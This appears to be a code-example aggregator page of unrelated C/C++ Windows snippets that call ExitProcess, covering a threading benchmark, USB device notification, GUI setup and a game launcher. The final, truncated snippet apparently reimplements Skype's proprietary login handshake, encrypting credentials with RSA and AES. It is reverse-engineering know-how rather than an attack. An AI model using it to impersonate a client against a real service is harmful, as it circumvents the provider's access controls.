int _CRTAPI1
main(
    int argc,
    char *argv[],
    char *envp[]
    )
{
    DWORD StartTicks, EndTicks;
    DWORD i;
    BOOL fShowUsage;
    char c, *p, *whocares;
    PDWORD CellVector;
    DWORD NumberOfDwords;
    DWORD DwordsPerThread;
    DWORD ThreadId;
    LPSTR Answer;

    fShowUsage = FALSE;
    fMemoryContention = FALSE;

    if (argc <= 1) {
        goto showUsage;
        }

    while (--argc) {
        p = *++argv;
        if (*p == '/' || *p == '-') {
            while (c = *++p)
            switch (toupper( c )) {
            case '?':
                fShowUsage = TRUE;
                goto showUsage;
                break;

            case 'M':
                if (!argc--) {
                    fShowUsage = TRUE;
                    goto showUsage;
                    }
                argv++;
                Mb = strtoul(*argv,&whocares,10);
                break;

            case 'C':
                fMemoryContention = TRUE;
                break;

            case 'T':
                if (!argc--) {
                    fShowUsage = TRUE;
                    goto showUsage;
                    }
                argv++;
                NumberOfThreads = strtoul(*argv,&whocares,10);
                if ( NumberOfThreads > MAX_THREADS ) {
                    fShowUsage = TRUE;
                    goto showUsage;
                    }
                break;

            default:
                fprintf( stderr, "MTBNCH: Invalid switch - /%c\n", c );
                goto showUsage;
                break;
                }
            }
        }

showUsage:
    if ( fShowUsage ) {
        fprintf(stderr,"usage: MTBNCH\n" );
        fprintf(stderr,"              [-?] display this message\n" );
        fprintf(stderr,"              [-t n] use n threads for benchmark (less than 32)\n" );
        fprintf(stderr,"              [-m n] use an n Mb spreadsheet size (default 4)\n" );
        fprintf(stderr,"              [-c] cause memory contention on each loop iteration\n" );
        ExitProcess(1);
        }

    //
    // Prepare the race events. These are manual reset events.
    //

    hStartOfRace = CreateEvent(NULL,TRUE,FALSE,NULL);
    hEndOfRace = CreateEvent(NULL,TRUE,FALSE,NULL);

    if ( !hStartOfRace || !hEndOfRace ) {
        fprintf(stderr,"MTBNCH: Race Event Creation Failed\n");
        ExitProcess(1);
        }

    //
    // Prepare the ready done events. These are auto clearing events
    //

    for(i=0; i<NumberOfThreads; i++ ) {
        ThreadReadyDoneEvents[i] = CreateEvent(NULL,FALSE,FALSE,NULL);
        if ( !ThreadReadyDoneEvents[i] ) {
            fprintf(stderr,"MTBNCH: Ready Done Event Creation Failed %d\n",GetLastError());
            ExitProcess(1);
            }
        }

    //
    // Allocate and initialize the CellVector
    //

    CellVector = (PDWORD)VirtualAlloc(NULL,Mb*ONE_MB,MEM_COMMIT,PAGE_READWRITE);
    if ( !CellVector ) {
        fprintf(stderr,"MTBNCH: Cell Vector Allocation Failed %d\n",GetLastError());
        ExitProcess(1);
        }

    NumberOfDwords = (Mb*ONE_MB) / sizeof(DWORD);
    DwordsPerThread = NumberOfDwords / NumberOfThreads;

    //
    // Initialize the Cell Vector
    //

    for(i=0, ExpectedRecalcValue; i<NumberOfDwords; i++ ){
        ExpectedRecalcValue += i;
        CellVector[i] = i;
        }

    //
    // Partition the work to the worker threads
    //

    for(i=0; i<NumberOfThreads; i++ ){
        ThreadWork[i].CellVector = &CellVector[i*DwordsPerThread];
        ThreadWork[i].NumberOfCells = DwordsPerThread;
        NumberOfDwords -= DwordsPerThread;

        //
        // If we have a remainder, give the remaining work to the last thread
        //

        if ( NumberOfDwords < DwordsPerThread ) {
            ThreadWork[i].NumberOfCells += NumberOfDwords;
            }
        }

    //
    // Create the worker threads
    //

    for(i=0; i<NumberOfThreads; i++ ) {
        ThreadHandles[i] = CreateThread(
                                NULL,
                                0,
                                WorkerThread,
                                (PVOID)i,
                                0,
                                &ThreadId
                                );
        if ( !ThreadHandles[i] ) {
            fprintf(stderr,"MTBNCH: Worker Thread Creation Failed %d\n",GetLastError());
            ExitProcess(1);
            }
        }

    //
    // All of the worker threads will signal thier ready done event
    // when they are idle and ready to proceed. Once all events have been
    // set, then setting the hStartOfRaceEvent will begin the recalc
    //

    i = WaitForMultipleObjects(
            NumberOfThreads,
            ThreadReadyDoneEvents,
            TRUE,
            INFINITE
            );

    if ( i == WAIT_FAILED ) {
        fprintf(stderr,"MTBNCH: Wait for threads to stabalize Failed %d\n",GetLastError());
        ExitProcess(1);
        }

    //
    // Everthing is set to begin the recalc operation
    //

    StartTicks = GetTickCount();
    if ( !SetEvent(hStartOfRace) ) {
        fprintf(stderr,"MTBNCH: SetEvent(hStartOfRace) Failed %d\n",GetLastError());
        ExitProcess(1);
        }

    //
    // Now just wait for the recalc to complete
    //

    i = WaitForMultipleObjects(
            NumberOfThreads,
            ThreadReadyDoneEvents,
            TRUE,
            INFINITE
            );

    if ( i == WAIT_FAILED ) {
        fprintf(stderr,"MTBNCH: Wait for threads to complete Failed %d\n",GetLastError());
        ExitProcess(1);
        }

    //
    // Now pick up the individual recalc values
    //

    for(i=0, ActualRecalcValue = 0; i<NumberOfThreads; i++ ){
        ActualRecalcValue += ThreadWork[i].RecalcResult;
        }

    EndTicks = GetTickCount();

    if ( fMemoryContention ) {
        if ( ContentionValue == (Mb*ONE_MB) / sizeof(DWORD) ) {
            if ( ActualRecalcValue == ExpectedRecalcValue ) {
                Answer = "Correct";
                }
            else {
                Answer = "Recalc Failure";
                }
            }
        else {
            Answer = "Contention Failure";
            }
        }
    else {
        if ( ActualRecalcValue == ExpectedRecalcValue ) {
            Answer = "Correct";
            }
        else {
            Answer = "Recalc Failure";
            }
        }

    fprintf(stdout,"MTBNCH: %d Thread Recalc complete in %dms, Answer = %s\n",
        NumberOfThreads,
        EndTicks-StartTicks,
        Answer
        );

    ExitProcess(2);
}
Exemplo n.º 12
0
//
// WinProcCallback
//
INT_PTR WINAPI WinProcCallback(
	HWND hWnd,
	UINT message,
	WPARAM wParam,
	LPARAM lParam
	)
	// Routine Description:
	//     Simple Windows callback for handling messages.
	//     This is where all the work is done because the example
	//     is using a window to process messages. This logic would be handled 
	//     differently if registering a service instead of a window.

	// Parameters:
	//     hWnd - the window handle being registered for events.

	//     message - the message being interpreted.

	//     wParam and lParam - extended information provided to this
	//          callback by the message sender.

	//     For more information regarding these parameters and return value,
	//     see the documentation for WNDCLASSEX and CreateWindowEx.
{
	LRESULT lRet = 1;
	static HDEVNOTIFY hDeviceNotify;
	static HWND hEditWnd;
	static ULONGLONG msgCount = 0;

	switch (message)
	{
	case WM_CREATE:
		//
		// This is the actual registration., In this example, registration 
		// should happen only once, at application startup when the window
		// is created.
		//
		// If you were using a service, you would put this in your main code 
		// path as part of your service initialization.
		//
		if (!DoRegisterDeviceInterfaceToHwnd(
			WceusbshGUID,
			hWnd,
			&hDeviceNotify))
		{
			// Terminate on failure.
			ErrorHandler(TEXT("DoRegisterDeviceInterfaceToHwnd"));
			ExitProcess(1);
		}


		//
		// Make the child window for output.
		//
		hEditWnd = CreateWindow(TEXT("EDIT"),// predefined class 
			NULL,        // no window title 
			WS_CHILD | WS_VISIBLE | WS_VSCROLL |
			ES_LEFT | ES_MULTILINE | ES_AUTOVSCROLL,
			0, 0, 0, 0,  // set size in WM_SIZE message 
			hWnd,        // parent window 
			(HMENU)1,    // edit control ID 
			(HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE),
			NULL);       // pointer not needed 

		if (hEditWnd == NULL)
		{
			// Terminate on failure.
			ErrorHandler(TEXT("CreateWindow: Edit Control"));
			ExitProcess(1);
		}
		// Add text to the window. 
		SendMessage(hEditWnd, WM_SETTEXT, 0,
			(LPARAM)TEXT("Registered for USB device notification...\n"));

		break;

	case WM_SETFOCUS:
		SetFocus(hEditWnd);

		break;

	case WM_SIZE:
		// Make the edit control the size of the window's client area. 
		MoveWindow(hEditWnd,
			0, 0,                  // starting x- and y-coordinates 
			LOWORD(lParam),        // width of client area 
			HIWORD(lParam),        // height of client area 
			TRUE);                 // repaint window 

		break;

	case WM_DEVICECHANGE:
	{
		//
		// This is the actual message from the interface via Windows messaging.
		// This code includes some additional decoding for this particular device type
		// and some common validation checks.
		//
		// Note that not all devices utilize these optional parameters in the same
		// way. Refer to the extended information for your particular device type 
		// specified by your GUID.
		//
		PDEV_BROADCAST_DEVICEINTERFACE b = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;
		TCHAR strBuff[256];

		// Output some messages to the window.
		switch (wParam)
		{
		case DBT_DEVICEARRIVAL:
			msgCount++;
			StringCchPrintf(
				strBuff, 256,
				TEXT("Message %d: DBT_DEVICEARRIVAL\n"), msgCount);
			break;
		case DBT_DEVICEREMOVECOMPLETE:
			msgCount++;
			StringCchPrintf(
				strBuff, 256,
				TEXT("Message %d: DBT_DEVICEREMOVECOMPLETE\n"), msgCount);
			break;
		case DBT_DEVNODES_CHANGED:
			msgCount++;
			StringCchPrintf(
				strBuff, 256,
				TEXT("Message %d: DBT_DEVNODES_CHANGED\n"), msgCount);
			break;
		default:
			msgCount++;
			StringCchPrintf(
				strBuff, 256,
				TEXT("Message %d: WM_DEVICECHANGE message received, value %d unhandled.\n"),
				msgCount, wParam);
			break;
		}
		OutputMessage(hEditWnd, wParam, (LPARAM)strBuff);
	}
		break;
	case WM_CLOSE:
		if (!UnregisterDeviceNotification(hDeviceNotify))
		{
			ErrorHandler(TEXT("UnregisterDeviceNotification"));
		}
		DestroyWindow(hWnd);
		break;

	case WM_DESTROY:
		PostQuitMessage(0);
		break;

	default:
		// Send all other messages on to the default windows handler.
		lRet = DefWindowProc(hWnd, message, wParam, lParam);
		break;
	}

	return lRet;
}
Exemplo n.º 13
0
// this is a simplified entry point ...
void __stdcall WinMainCRTStartup()
{
    ExitProcess(WinMain(GetModuleHandle(NULL), NULL, NULL, 0));
}
Exemplo n.º 14
0
	LRESULT WindowImplBase::OnCreate( UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled )
	{
		LONG styleValue = ::GetWindowLong(*this, GWL_STYLE);
		styleValue &= ~( WS_CAPTION );
		::SetWindowLong(*this, GWL_STYLE, styleValue | WS_CLIPSIBLINGS | WS_CLIPCHILDREN);
		RECT rcClient;
		::GetClientRect(*this, &rcClient);
		::SetWindowPos(*this, NULL, rcClient.left, rcClient.top, rcClient.right - rcClient.left, \
			rcClient.bottom - rcClient.top, SWP_FRAMECHANGED);

		m_PaintManager.Init(m_hWnd);
		m_PaintManager.AddPreMessageFilter(this);

		CDialogBuilder builder;
		CDuiString strResourcePath=m_PaintManager.GetInstancePath();
		strResourcePath+=GetSkinFolder().GetData();
		m_PaintManager.SetResourcePath(strResourcePath.GetData());

		switch(GetResourceType())
		{
		case UILIB_ZIP:
			m_PaintManager.SetResourceZip(GetZIPFileName().GetData(), true);
			break;
		case UILIB_ZIPRESOURCE:
			{
				HRSRC hResource = ::FindResource(m_PaintManager.GetResourceDll(), GetResourceID(), _T("WDKJ001"));
				if( hResource == NULL )
					return 0L;
				DWORD dwSize = 0;
				HGLOBAL hGlobal = ::LoadResource(m_PaintManager.GetResourceDll(), hResource);
				if( hGlobal == NULL ) 
				{
#if defined(WIN32) && !defined(UNDER_CE)
					::FreeResource(hResource);
#endif
					return 0L;
				}
				dwSize = ::SizeofResource(m_PaintManager.GetResourceDll(), hResource);
				if( dwSize == 0 )
					return 0L;
				m_lpResourceZIPBuffer = new BYTE[ dwSize ];
				if (m_lpResourceZIPBuffer != NULL)
				{
					::CopyMemory(m_lpResourceZIPBuffer, (LPBYTE)::LockResource(hGlobal), dwSize);
				}
#if defined(WIN32) && !defined(UNDER_CE)
				::FreeResource(hResource);
#endif
				m_PaintManager.SetResourceZip(m_lpResourceZIPBuffer, dwSize);
			}
			break;
		}

		CControlUI* pRoot = builder.Create(GetSkinFile().GetData(), (UINT)0, this, &m_PaintManager);
		ASSERT(pRoot);
		if (pRoot==NULL)
		{
			MessageBox(NULL,_T("加载资源文件失败"),_T("Duilib"),MB_OK|MB_ICONERROR);
			ExitProcess(1);
			return 0;
		}
		m_PaintManager.AttachDialog(pRoot);
		m_PaintManager.AddNotifier(this);
		m_PaintManager.SetBackgroundTransparent(TRUE);

		InitWindow();
		return 0;
	}
Exemplo n.º 15
0
static void DebugBreakDo()
{
	__debugbreak();
	ExitProcess(0);
}
Exemplo n.º 16
0
//////////////////////////////////////////////////////////
//
// HandleDuplicateLaunching
//
// Handle duplicate launching, or running from mtasa:// URI ?
//
//////////////////////////////////////////////////////////
void HandleDuplicateLaunching( void )
{
    LPSTR lpCmdLine = GetCommandLine();

    int iRecheckTimeLimit = 2000;
    while ( ! CreateSingleInstanceMutex () )
    {
        if ( strcmp ( lpCmdLine, "" ) != 0 )
        {
            HWND hwMTAWindow = FindWindow( NULL, "MTA: San Andreas" );
#ifdef MTA_DEBUG
            if( hwMTAWindow == NULL )
                hwMTAWindow = FindWindow( NULL, "MTA: San Andreas [DEBUG]" );
#endif
            if( hwMTAWindow != NULL )
            {
                LPWSTR szCommandLine = GetCommandLineW ();
                int numArgs;
                LPWSTR* aCommandLineArgs = CommandLineToArgvW ( szCommandLine, &numArgs );
                for ( int i = 1; i < numArgs; ++i )
                {
                    if ( WStringX( aCommandLineArgs[i] ).BeginsWith( L"mtasa://" ) )
                    {
                        WString wideConnectInfo = aCommandLineArgs[i];
                        SString strConnectInfo = ToUTF8 ( wideConnectInfo );

                        COPYDATASTRUCT cdStruct;
                        cdStruct.cbData = strConnectInfo.length () + 1;
                        cdStruct.lpData = const_cast<char *> ( strConnectInfo.c_str () );
                        cdStruct.dwData = URI_CONNECT;

                        SendMessage( hwMTAWindow, WM_COPYDATA, NULL, (LPARAM)&cdStruct );
                        break;
                    }
                }

                
            }
            else
            {
                if ( iRecheckTimeLimit > 0 )
                {
                    // Sleep a little bit and check the mutex again
                    Sleep ( 500 );
                    iRecheckTimeLimit -= 500;
                    continue;
                }
                SString strMessage;
                strMessage += _(    "Trouble restarting MTA:SA\n\n"
                                    "If the problem persists, open Task Manager and\n"
                                    "stop the 'gta_sa.exe' and 'Multi Theft Auto.exe' processes\n\n\n"
                                    "Try to launch MTA:SA again?" );
                if ( MessageBoxUTF8( 0, strMessage, _("Error")+_E("CL04"), MB_ICONWARNING | MB_YESNO | MB_TOPMOST  ) == IDYES ) // Trouble restarting MTA:SA
                {
                    TerminateGTAIfRunning ();
                    TerminateOtherMTAIfRunning ();
                    ShellExecuteNonBlocking( "open", PathJoin ( GetMTASAPath (), MTA_EXE_NAME ), lpCmdLine );
                }
                return ExitProcess( EXIT_ERROR );
            }
        }
        else
        {
            if ( !IsGTARunning () && !IsOtherMTARunning () )
            {
                MessageBoxUTF8 ( 0, _("Another instance of MTA is already running.\n\nIf this problem persists, please restart your computer"), _("Error")+_E("CL05"), MB_ICONERROR | MB_TOPMOST  );
            }
            else
            if ( MessageBoxUTF8( 0, _("Another instance of MTA is already running.\n\nDo you want to terminate it?"), _("Error")+_E("CL06"), MB_ICONQUESTION | MB_YESNO | MB_TOPMOST  ) == IDYES )
            {
                TerminateGTAIfRunning ();
                TerminateOtherMTAIfRunning ();
                ShellExecuteNonBlocking( "open", PathJoin ( GetMTASAPath (), MTA_EXE_NAME ), lpCmdLine );
            }
        }
        return ExitProcess( EXIT_ERROR );
    }
}
Exemplo n.º 17
0
static void launch(LPCWSTR what)
{
  Control_RunDLLW(GetDesktopWindow(), 0, what, SW_SHOW);
  ExitProcess(0);
}
Exemplo n.º 18
0
//////////////////////////////////////////////////////////
//
// InitLocalization
//
// Start localization thingmy
//
//////////////////////////////////////////////////////////
void InitLocalization( bool bNoFail )
{
    static bool bDone = false;
    if ( bDone )
        return;

    // Check for and load core.dll for localization
    // Use launch relative path so core.dll can get updated
    SString strCoreDLL = PathJoin( GetLaunchPath(), "mta", MTA_DLL_NAME );
    if ( !FileExists ( strCoreDLL ) )
    {
        if ( !bNoFail )
            return;
        DisplayErrorMessageBox ( ("Load failed.  Please ensure that "
                            "the file core.dll is in the modules "
                            "directory within the MTA root directory."), _E("CL23"), "core-missing" ); // Core.dll missing

        return ExitProcess( EXIT_ERROR );
    }

    // Use registry setting of mta path for dlls, as they will not be present in update files
    const SString strMTASAPath = GetMTASAPath ();
    SetDllDirectory( PathJoin( strMTASAPath, "mta" ) );

    // See if xinput is loadable (XInput9_1_0.dll is core.dll dependency)
    HMODULE hXInputModule = LoadLibrary( "XInput9_1_0.dll" );
    if ( hXInputModule )
        FreeLibrary( hXInputModule );
    else
    {
        // If not, do hack to use dll supplied with MTA
        SString strDest = PathJoin( strMTASAPath, "mta", "XInput9_1_0.dll" );
        if ( !FileExists( strDest ) )
        {
            SString strSrc = PathJoin( strMTASAPath, "mta", "XInput9_1_0_mta.dll" );       
            FileCopy( strSrc, strDest );
        }
    }

    // Check if the core can be loaded - failure may mean msvcr90.dll or d3dx9_40.dll etc is not installed
    // Use LOAD_WITH_ALTERED_SEARCH_PATH so the strCoreDLL path is searched first for dependent dlls
    HMODULE hCoreModule = LoadLibraryEx( strCoreDLL, NULL, LOAD_WITH_ALTERED_SEARCH_PATH );
    if ( hCoreModule == NULL )
    {
        if ( !bNoFail )
            return;
        DisplayErrorMessageBox ( ("Loading core failed.  Please ensure that \n"
                            "Microsoft Visual C++ 2013 Redistributable Package (x86) \n"
                            "and the latest DirectX is correctly installed."), _E("CL24"), "vc-redist-missing" );  // Core.dll load failed.  Ensure VC++ Redists and DX are installed
        return ExitProcess( EXIT_ERROR );
    }

    // Grab our locale from the registry if possible, if not Windows
    SString strLocale = GetApplicationSetting ( "locale" );
    if ( strLocale.empty() )
    {
        setlocale(LC_ALL, "");
        char* szLocale = setlocale(LC_ALL, NULL);
        strLocale = szLocale;
    }

    typedef CLocalizationInterface* (__cdecl *FUNC_CREATELOCALIZATIONFROMENVIRONMENT)(SString strLocale);
    FUNC_CREATELOCALIZATIONFROMENVIRONMENT pFunc = (FUNC_CREATELOCALIZATIONFROMENVIRONMENT)GetProcAddress ( hCoreModule, "L10n_CreateLocalization" );
    CLocalizationInterface* pLocalization = pFunc(strLocale);
    if ( pLocalization == NULL )
    {
        if ( !bNoFail )
            return;

        DisplayErrorMessageBox ( ("Loading core failed.  Please ensure that \n"
                            "Microsoft Visual C++ 2013 Redistributable Package (x86) \n"
                            "and the latest DirectX is correctly installed."), _E("CL26"), "vc-redist-missing" );  // Core.dll load failed.  Ensure VC++ Redists and DX are installed
        FreeLibrary ( hCoreModule );
        return ExitProcess( EXIT_ERROR );
    }

    SAFE_DELETE( g_pLocalization );
    g_pLocalization = pLocalization;
    bDone = true;

#ifdef MTA_DEBUG
    TestDialogs();
#endif
}
Exemplo n.º 19
0
int	SendAuthentificationBlobLS(Host CurLS, char *User, char *Pass)
{
	double				PlatForm;
	uchar				AuthBlob[0xFFFF] = {0};
	uchar				MD5Result[MD5_DIGEST_LENGTH] = {0};
	uchar				SHAResult[32] = {0};
	uchar				SessionKey[SK_SZ] = {0};
	uchar				Modulus[MODULUS_SZ * 2] = {0};
	uchar				ivec[AES_BLOCK_SIZE] = {0};
	uchar				ecount_buf[AES_BLOCK_SIZE] = {0};
	uint				MiscDatas[0x05] = {0};
	uchar				*Browser;
	uchar				*Mark;
	uchar				*MarkObjL;
	uint				Idx, Size, Crc;
	HttpsPacketHeader	*HSHeader;
	AES_KEY				AesKey;
	MD5_CTX				Context;
	RSA					*Keys;
	RSA					*SkypeRSA;
	ObjectDesc			Obj2000, ObjSessionKey, ObjZBool1, ObjRequestCode, ObjZBool2, ObjUserName, ObjSharedSecret, ObjModulus, ObjPlatForm, ObjLang, ObjMiscDatas, ObjVer, ObjPubAddr;

	printf("Generating RSA Keys Pair (Size = %d Bits)..\n", KEYSZ);
	Keys = RSA_generate_key(KEYSZ * 2, RSA_F4, NULL, NULL);
	if (Keys == NULL)
	{
		printf("Error generating Keys..\n\n");
		return (0);
	}

	//printf("Modulus N..\n");
	Idx = BN_bn2bin(Keys->n, Modulus);
	//showmem(Modulus, MODULUS_SZ);
	//printf("Modulus D\n");
	Idx = BN_bn2bin(Keys->d, Modulus + Idx);
	//showmem(Modulus + MODULUS_SZ, MODULUS_SZ);
	//printf("\n");

	Browser = AuthBlob;

	HSHeader = (HttpsPacketHeader *)Browser;
	memcpy_s(HSHeader->MAGIC, sizeof(HSHeader->MAGIC), HTTPS_HSR_MAGIC, strlen(HTTPS_HSR_MAGIC));
	HSHeader->ResponseLen = htons(0xCD);
	Browser += sizeof(HttpsPacketHeader);
	
	*Browser++ = RAW_PARAMS;
	*Browser++ = 0x03;

	Obj2000.Family = OBJ_FAMILY_NBR;
	Obj2000.Id = OBJ_ID_2000;
	Obj2000.Value.Nbr = 0x2000;
	WriteObject(&Browser, Obj2000);

	GetSessionKey(SessionKey);

	SpecialSHA(SessionKey, SK_SZ, SHAResult, 32);
	AES_set_encrypt_key(SHAResult, 256, &AesKey);

	SkypeRSA = RSA_new();
	BN_hex2bn(&(SkypeRSA->n), SkypeModulus1536[1]);
    BN_hex2bn(&(SkypeRSA->e), "10001");
	RSA_public_encrypt(SK_SZ, SessionKey, SessionKey, SkypeRSA, RSA_NO_PADDING);
	RSA_free(SkypeRSA);

	ObjSessionKey.Family = OBJ_FAMILY_BLOB;
	ObjSessionKey.Id = OBJ_ID_SK;
	ObjSessionKey.Value.Memory.Memory = (uchar *)&SessionKey;
	ObjSessionKey.Value.Memory.MsZ = SK_SZ;
	WriteObject(&Browser, ObjSessionKey);

	ObjZBool1.Family = OBJ_FAMILY_NBR;
	ObjZBool1.Id = OBJ_ID_ZBOOL1;
	ObjZBool1.Value.Nbr = 0x01;
	WriteObject(&Browser, ObjZBool1);

	Mark = Browser;
	HSHeader = (HttpsPacketHeader *)Browser;
	memcpy_s(HSHeader->MAGIC, sizeof(HSHeader->MAGIC), HTTPS_HSRR_MAGIC, strlen(HTTPS_HSRR_MAGIC));
	HSHeader->ResponseLen = htons(0x00);
	Browser += sizeof(HttpsPacketHeader);

	MarkObjL = Browser;
	*Browser++ = RAW_PARAMS;
	*Browser++ = 0x04;

	ObjRequestCode.Family = OBJ_FAMILY_NBR;
	ObjRequestCode.Id = OBJ_ID_REQCODE;
	ObjRequestCode.Value.Nbr = 0x1399;
	WriteObject(&Browser, ObjRequestCode);

	ObjZBool2.Family = OBJ_FAMILY_NBR;
	ObjZBool2.Id = OBJ_ID_ZBOOL2;
	ObjZBool2.Value.Nbr = 0x01;
	WriteObject(&Browser, ObjZBool2);

	ObjUserName.Family = OBJ_FAMILY_STRING;
	ObjUserName.Id = OBJ_ID_USERNAME;
	ObjUserName.Value.Memory.Memory = (uchar *)User;
	ObjUserName.Value.Memory.MsZ = (uchar)strlen(User);
	WriteObject(&Browser, ObjUserName);

	MD5_Init(&Context);
	MD5_Update(&Context, User, (ulong)strlen(User));
	MD5_Update(&Context, CONCAT_SALT, (ulong)strlen(CONCAT_SALT));
	MD5_Update(&Context, Pass, (ulong)strlen(Pass));
	MD5_Final(MD5Result, &Context);

	ObjSharedSecret.Family = OBJ_FAMILY_BLOB;
	ObjSharedSecret.Id = OBJ_ID_USERPASS;
	ObjSharedSecret.Value.Memory.Memory = (uchar *)MD5Result;
	ObjSharedSecret.Value.Memory.MsZ = MD5_DIGEST_LENGTH;
	WriteObject(&Browser, ObjSharedSecret);

	*Browser++ = RAW_PARAMS;
	*Browser++ = 0x06;

	ObjModulus.Family = OBJ_FAMILY_BLOB;
	ObjModulus.Id = OBJ_ID_MODULUS;
	ObjModulus.Value.Memory.Memory = (uchar *)Modulus;
	ObjModulus.Value.Memory.MsZ = MODULUS_SZ;
	WriteObject(&Browser, ObjModulus);

	PlatForm = PlatFormSpecific();

	ObjPlatForm.Family = OBJ_FAMILY_TABLE;
	ObjPlatForm.Id = OBJ_ID_PLATFORM;
	memcpy_s(ObjPlatForm.Value.Table, sizeof(ObjPlatForm.Value.Table), (uchar *)&PlatForm, sizeof(ObjPlatForm.Value.Table));
	WriteObject(&Browser, ObjPlatForm);

	ObjLang.Family = OBJ_FAMILY_STRING;
	ObjLang.Id = OBJ_ID_LANG;
	ObjLang.Value.Memory.Memory = (uchar *)LANG_STR;
	ObjLang.Value.Memory.MsZ = (uchar)strlen(LANG_STR);
	WriteObject(&Browser, ObjLang);

	FillMiscDatas(MiscDatas);
	ObjMiscDatas.Family = OBJ_FAMILY_INTLIST;
	ObjMiscDatas.Id = OBJ_ID_MISCD;
	ObjMiscDatas.Value.Memory.Memory = (uchar *)MiscDatas;
	ObjMiscDatas.Value.Memory.MsZ = 0x05;
	WriteObject(&Browser, ObjMiscDatas);

	ObjVer.Family = OBJ_FAMILY_STRING;
	ObjVer.Id = OBJ_ID_VERSION;
	ObjVer.Value.Memory.Memory = (uchar *)VER_STR;
	ObjVer.Value.Memory.MsZ = (uchar)strlen(VER_STR);
	WriteObject(&Browser, ObjVer);

	ObjPubAddr.Family = OBJ_FAMILY_NBR;
	ObjPubAddr.Id = OBJ_ID_PUBADDR;
	ObjPubAddr.Value.Nbr = htonl(my_public_ip);
	WriteObject(&Browser, ObjPubAddr);

	Size = (uint)(Browser - MarkObjL);
	HSHeader->ResponseLen = htons((ushort)Size + 0x02);

	Idx = 0;
	ZeroMemory(ivec, AES_BLOCK_SIZE);
	ZeroMemory(ecount_buf, AES_BLOCK_SIZE);
	AES_ctr128_encrypt(MarkObjL, MarkObjL, Size, &AesKey, ivec, ecount_buf, &Idx);

	Crc = crc32(MarkObjL, Size, -1);
	*Browser++ = *((uchar *)(&Crc) + 0);
	*Browser++ = *((uchar *)(&Crc) + 1);

	Size = (uint)(Browser - AuthBlob);

	SuperWait = 1;
	if (SendPacketTCP(LSSock, CurLS, AuthBlob, Size, HTTPS_PORT, &Connected))
		printf("Auth Response Got..\n\n");
	else
	{
		printf(":'(..\n");
		return (-1);
	}

	/*unsigned char data[222] = {
	0x17, 0x03, 0x01, 0x00, 0xD9, 0x73, 0xC4, 0x06, 0x08, 0xFF, 0x1F, 0xFE, 0xED, 0x64, 0xB8, 0x49, 
	0x4D, 0xD8, 0xBE, 0xCD, 0xC9, 0xEF, 0x63, 0x74, 0x6D, 0x7F, 0x1D, 0x9B, 0xE6, 0x91, 0xFC, 0x14, 
	0xC6, 0x01, 0xDD, 0x79, 0xD6, 0xEA, 0x3B, 0xB3, 0xB6, 0x20, 0x03, 0x5E, 0x05, 0xEB, 0xFC, 0xAA, 
	0x46, 0x35, 0x7B, 0xAF, 0x5A, 0x59, 0x01, 0xFA, 0xBB, 0xB6, 0x1F, 0x81, 0x6D, 0x34, 0x85, 0x39, 
	0x93, 0xBB, 0x9B, 0x5B, 0xCC, 0x21, 0xD4, 0xCC, 0x85, 0x39, 0x27, 0x62, 0x69, 0xBC, 0x05, 0x48, 
	0xF2, 0x19, 0x88, 0xD3, 0x86, 0xD3, 0x10, 0x0D, 0xE1, 0x36, 0x08, 0x14, 0xC9, 0xC3, 0x52, 0x8B, 
	0x86, 0x42, 0x8D, 0x1F, 0x25, 0x02, 0x2E, 0x82, 0x48, 0xDC, 0x0C, 0x5C, 0x66, 0x5E, 0x34, 0x1A, 
	0x00, 0x3B, 0x4F, 0x6D, 0x54, 0x2E, 0x02, 0x91, 0x3E, 0xE1, 0xD7, 0x47, 0xC9, 0x04, 0xA0, 0xB2, 
	0xBD, 0x60, 0x49, 0xE1, 0xB8, 0x79, 0xB3, 0x1A, 0xE5, 0x14, 0x12, 0xC8, 0x0C, 0x37, 0xB3, 0x23, 
	0x2E, 0xBD, 0xD7, 0x9F, 0x47, 0xA3, 0xE1, 0xAD, 0x21, 0xEF, 0xF0, 0x79, 0x7E, 0x72, 0x28, 0x29, 
	0xCA, 0xAF, 0x29, 0xDD, 0xE4, 0xDC, 0x2C, 0x9C, 0x52, 0x07, 0xC5, 0x33, 0x9D, 0x65, 0xE3, 0x06, 
	0x14, 0x12, 0xEA, 0xF7, 0x7F, 0x1B, 0x79, 0xA2, 0x65, 0xA2, 0x5C, 0x68, 0x74, 0x13, 0x97, 0x41, 
	0xFE, 0x83, 0x2B, 0x13, 0x56, 0x56, 0x57, 0x1F, 0xCC, 0x65, 0xA0, 0x46, 0xEA, 0x0C, 0x18, 0x8B, 
	0x59, 0x9C, 0xE1, 0x9E, 0x59, 0x68, 0x43, 0x94, 0x2D, 0x1E, 0xC3, 0x4F, 0x7F, 0x04
	};

	ZeroMemory(RecvBuffer, sizeof(RecvBuffer));
	memcpy_s(RecvBuffer, sizeof(RecvBuffer), data, sizeof(data));*/

	HSHeader = (HttpsPacketHeader *)RecvBuffer;
	if (strncmp((const char *)HSHeader->MAGIC, HTTPS_HSRR_MAGIC, strlen(HTTPS_HSRR_MAGIC)))
	{
		printf("Bad Response..\n");
		return (-1);
	}

	Idx = 0;
	ZeroMemory(ivec, AES_BLOCK_SIZE);
	ZeroMemory(ecount_buf, AES_BLOCK_SIZE);
	ivec[3] = 0x01;
	ivec[7] = 0x01;
	AES_ctr128_encrypt(RecvBuffer + sizeof(HttpsPacketHeader), RecvBuffer + sizeof(HttpsPacketHeader), htons(HSHeader->ResponseLen) - 0x02, &AesKey, ivec, ecount_buf, &Idx);
	
	printf("[UNCIPHERED]Auth Response..\n\n");
	//showmem(RecvBuffer, RecvBufferSz);
	//printf("\n\n");

	uchar		*Buffer;
	uint		BSize;
	SResponse	Response;

	Buffer = RecvBuffer;
	BSize = RecvBufferSz;
	Response.Objs = NULL;
	Response.NbObj = 0;
	while (BSize)
	{
		MainArchResponseManager(&Buffer, &BSize, &Response);
		Buffer += 2;
	}

	for (Idx = 0; Idx < Response.NbObj; Idx++)
	{
		switch (Response.Objs[Idx].Id)
		{
		case OBJ_ID_LOGINANSWER:
			switch (Response.Objs[Idx].Value.Nbr)
			{
			case LOGIN_OK:
				cprintf(FOREGROUND_BLUE, "Login Successful..\n");
				GLoginD.RSAKeys = Keys;
				break;
			default :
				cprintf(FOREGROUND_RED, "Login Failed.. Bad Credentials..\n");
				ExitProcess(0);
				break;
			}
			break;
		case OBJ_ID_CIPHERDLOGD:
